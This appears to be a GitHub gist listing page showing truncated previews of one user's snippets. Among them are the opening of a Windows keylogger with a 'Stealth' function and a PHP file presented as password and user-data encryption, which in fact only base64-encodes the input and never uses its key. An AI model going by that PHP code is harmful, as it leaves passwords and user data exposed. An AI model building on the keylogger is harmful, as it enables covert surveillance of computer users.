Skip to content

Instantly share code, notes, and snippets.

@kbww
kbww / keylogger.cc
Created August 21, 2023 10:19
Basic keylogger for Windows
/** This shouldn't be used to harm anyone. The intention is to have a basic idea of how these tools work. **/
#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
void Stealth()
{
@kbww
kbww / unordered_map.cc
Last active October 15, 2022 09:31
Complicated demo of C++ unordered_map
#include <iostream>
#include <unordered_map>
#include <string>
int main()
{
std::basic_string<char, std::char_traits<char>, std::allocator<char> > name = std::basic_string<char, std::char_traits<char>, std::allocator<char> >();
std::unordered_map<std::basic_string<char, std::char_traits<char>, std::allocator<char> >, int, std::hash<std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::equal_to<std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<const std::basic_string<char, std::char_traits<char>, std::allocator<char> >, int> > > score_card = std::unordered_map<std::basic_string<char, std::char_traits<char>, std::allocator<char> >, int, std::hash<std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::equal_to<std::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<const std::basic_string<char, std::char_traits<char>, std::allocator<char> >, int> > >{std::initializer_l
@kbww
kbww / fs.h
Created March 26, 2020 07:18
Filesystem header
#ifndef FS_H_
#define FS_H_
#include <inttypes.h>
#define MAGIC 0xccf5ccf5
#define FS_VER 1
#define BLKSZ 1024
#define NAME_MAX 27 /* +1 termin. +4 ino = 32 per dirent */
@kbww
kbww / gist:6702dc0a8c7b601bd65b1044384bfd30
Created February 16, 2018 10:39
Layout_Lesson2 and 3
<?xml version="1.0" encoding="utf-8"?>
<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context="com.example.irfan.googlescholarship.MainActivity">
<LinearLayout
@kbww
kbww / phpcrypt.php
Last active December 3, 2019 10:44
PHP - encryption for passwords and user data other than using the built-in encryption Algos.
<?php
function safe_b64encode($string) {
$skey = "your_key"; //replace this with anything
$data = base64_encode($string);
$data = str_replace(array('+','/','='),array('-','_',''),$data);
return $data;
}
function safe_b64decode($string) {